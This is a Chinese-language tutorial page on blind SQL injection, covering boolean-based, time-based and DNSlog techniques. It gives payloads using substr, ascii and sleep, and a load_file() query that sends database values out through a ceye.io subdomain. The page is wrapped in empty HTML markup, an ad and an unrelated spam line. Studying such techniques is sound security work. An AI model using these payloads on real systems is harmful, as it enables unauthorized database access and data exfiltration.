<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                ## 盲注 當我們的注入語句被帶入數據庫查詢,頁面確不能回顯我們的結果,如應用程序就會返回一個“通用的”的頁面或特定的語句,我們不能以此來判斷注入是否成功,這種情況下就要用到sql盲注的技巧了。 sql盲注三個分類: 1. 布爾盲注 2. 時間盲注 3. dnslog盲注 ## 布爾盲注 ### 布爾盲注原理 只返回布爾值的sql注入漏洞,通過構造語句,來判斷數據庫信息的正確性,再通過頁面反回的布爾值,來判斷正確與否 ### 布爾盲注方法 ~~~sql #substr()函數,截取某個字符串,與后面的字符串或數字對比 k' and substr((select database()),1,1)='s' #left()函數,截取前幾個字符與期望值對比 k' and left((database()),1)='s' #regexp函數,用正則判斷 k' and select user() regexp '^r' #like函數 k' and select user() like 'ro%' # 爆破庫、表、字段長度 k' and select length(database())<xx ? #有些sql漏洞中,會屏蔽引號,因此更多采用將截取出來的字符串轉為ascii碼,再對比ascii碼值 #ascii和ord函數功能相同,大于、小于、等于配合二分法使用 k' and ascii(substr((select database()),1,1))=114 k' and ascii(substr((select database()),1,1))>114 k' and ascii(substr((select database()),1,1))<20 ord(substr((select database()),1,1))=114 ~~~ ## 時間盲注 ### 時間盲注原理 語句執行后,不回顯,不報錯,不提示真假的sql注入漏洞。可以通過構造語句,通過條件語句判斷,為真則立即執行,否則延時執行 ~~~sql #確實是否有注入點,如果相應時間是自定義的睡眠時間,則大概率有注入點 k' and sleep(x) # #然后通過之前的函數,猜測庫、表、字段 k' and if(ascii(substr(database(),1,1))>115,0,sleep(5)); #也可以先通過sleep計算出庫、表、字段長度 k' and sleep(length(database())) ~~~ ## dnslog盲注 ### dnslog盲注原理 1. 首先需要存在sql注入漏洞,但不回顯,常規只能用布爾盲注和時間盲注猜單詞 2. 但是利用`Mysql load_file()`函數(唯windowns),可以用sql語句發起web請求 3. 將我們盲注需要獲取的信息,通過二級域名的方式,發起web請求 4. 利用特定的dns解析網站,獲取這些二級域名的記錄,就能得到數據 前提要求 1. windows系統 2. 該用戶具有file權限 3. `SHOW VARIABLES LIKE 'secure_file_priv'`結果為NULL ### dnslog盲注方法 登錄`http://ceye.io/`網站并注冊,得到屬于自己的identifier 先嘗試在終端運行`curl test.xxxx.ceye.io` ,在解析記錄就可以看到對應記錄 在windows系統下,使用`load_file()`發起如下類似請求: ~~~ select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\\abc')) ~~~ 如果解析記錄有結果,后續就可以用sql注入的其他語法自由發揮了 有些特殊符號不能作為二級域名,通用的方法是用`hex()`轉換為16進制處理
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看